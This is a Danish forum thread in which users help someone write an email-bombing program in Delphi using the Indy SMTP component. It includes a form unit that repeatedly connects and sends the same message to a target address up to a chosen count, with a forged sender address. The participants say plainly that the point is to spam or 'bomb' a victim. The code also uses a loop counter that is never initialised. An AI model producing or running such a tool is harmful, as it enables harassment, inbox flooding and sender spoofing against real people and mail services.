Hjælp til hvordan jeg skal lave et program

Hvis du har Delphi 7 Enterprise, burde du også have INDY komponenter. Brug INDY Client : IdSMTP

Kode 

procedure TForm1.Button1Click(Sender: TObject);
var
 AntalMails : Integer;
begin
 for AntalMails := 0 to 10 do
  begin
   IdSMTP1.QuickSend('MAILHOST','EMNE','MODTAGER','AFSENDER','TEKST');
  end;
end;

Dennis!!!!!!
Jeg har fundet indy. Men en der hedder IdSMTP kan jeg ikke finde. Kan du hjælpe mig. Jeg vil nok ikke følge dit eks. andet en at du må få en af up,ne vis du svare.
Men jeg har fået en fantastisk detaljeret svar af Jonas(decko)...

Men i den kode skal jeg også bruge det kompoment, så. HJÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆLP

TAK...

Theis

Dette er han's ide. OG plus jeg fik prøvet programmet, som han selv har lavet!!!

Kode 

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
  IdSMTP, IdBaseComponent, IdMessage, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    edEmne: TEdit;
    Besked: TMemo;
    edAdresse: TEdit;
    Msg: TIdMessage;
    Smtp: TIdSMTP;
    edFra: TEdit;
    edMails: TEdit;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
I : integer;
begin
with Msg do begin
Recipients.EMailAddresses:= edAdresse.Text; //sæt modtagerens adresse
Subject:= edEmne.Text; //emnet på mailen
Body:= Besked.Lines; //indholdet af mailen
end;
Msg.From.Address:= edFra.Text; //hvem den er fra (se den txt fil jeg vedlagde)
repeat //gentag følgende
Smtp.Connect; //tilslut til mailserveren
try
Smtp.Send(msg); //send mailen
finally
Smtp.Disconnect; //afbryd forbindelse til serveren
Inc(I); //lægger 1 til i for at huske hvor mange mails der er sendt
end
until StrToInt(edMails.Text) = i; //gentag indtil antal mails der skal sendes er sendt
end;

end.

I Fight For The FUTUR!!!,
eller sådan noget...

"Antal mails: Her skriver jeg hvor mange mail jeg vil have jeg skal sende." Ja det er rigtigt!


someone@mail.dk: Her skriver jeg addressen på ham der skal spammes. Nej der skriuver du hvem det skal ligne mailen kommer fra!

Adresse: Her skriver jeg en server adresse den skal sende fra: eks. kunne den være som denne der stod i din read me fil:
hej@besked.com. Men skal det eksempel være hotmail's vis jeg vil spamme en mail fra en mail der har hotmail?
Her eskriver du hvem der skal bombes!


enme og besked forstår jeg.

OG så skal man bare trykke på Bomb.

Ja det er rigtigt


Windows er verdens beste trojan!